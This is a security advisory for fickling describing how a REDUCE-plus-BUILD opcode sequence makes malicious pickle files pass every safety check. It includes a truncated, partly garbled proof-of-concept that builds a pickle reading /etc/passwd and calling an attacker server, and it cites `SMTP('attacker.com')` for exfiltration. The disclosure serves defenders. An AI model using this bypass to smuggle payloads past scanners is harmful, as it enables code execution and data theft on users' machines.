{"schema_version":"1.9.0","id":"GHSA-mhc9-48gj-9gp3","published":"2026-02-25T15:24:18Z","modified":"2026-02-25T15:32:49.062084Z","summary":"Fickling has safety check bypass via REDUCE+BUILD opcode sequence","details":"# Assessment\n\nIt is believed that the analysis pass works as intended, `REDUCE` and `BUILD` are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400).\n\n# Original report\n\n### Summary\nAll 5 of fickling's safety interfaces — `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager — report `LIKELY_SAFE` / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (`socketserver.TCPServer`), process persistence (`signal.signal`), outbound data exfiltration (`smtplib.SMTP`), and file creation on disk (`sqlite3.connect`). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.\n\n## Details\n\nThe bypass exploits three weaknesses in fickling's static analysis pipeline:\n\n1. **`likely_safe_imports` over-inclusion** (`fickle.py:432-435`): When fickling decompiles a pickle and encounters `from smtplib import SMTP`, it adds `\"SMTP\"` to the `likely_safe_imports` set because `smtplib` is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc.\n\n2. **`OvertlyBadEvals` exemption** (`analysis.py:301-310`): The main call-level safety checker skips any call where the function name is in `likely_safe_imports`. So `SMTP('attacker.com')` is never flagged.\n\n3. **`__setstate__` exclusion** (`fickle.py:443-446`): BUILD generates a `__setstate__` call which is excluded from the `non_setstate_calls` list. This means BUILD's call is invisible to `OvertlyBadEvals`. Additionally, BUILD consumes the REDUCE result variable, which prevents the `UnusedVariables` checker from flagging the unused assignment (the only remaining detection mechanism).\n\n### Affected versions\n\nAll versions through 0.1.7 (latest as of 2026-02-18).\n\n### Affected APIs\n\n- `fickling.is_likely_safe()` - returns `True` for bypass payloads\n- `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE`\n- `fickling --check-safety` CLI - exits with code 0\n- `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes\n- `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes\n\n\n\n## PoC\n\nA single pickle that reads `/etc/passwd` AND opens a network connection to an attacker's server, yet fickling reports it as `LIKELY_SAFE`:\n\n```python\nimport io, struct, tempfile, os\n\ndef sbu(s):\n \"\"\"SHORT_BINUNICODE opcode helper.\"\"\"\n b = s.encode()\n return b\"\\x8c\" + struct.pack(\" (address, handler)\n payload.write(b\"R\") # REDUCE -> TCPServer(address, handler)\n payload.write(b\"N\") # NONE\n payload.write(b\"b\") # BUILD(None) -> no-op\n payload.write(b\".\") # STOP\n\n frame_data = payload.getvalue()\n buf.write(struct.pack(\"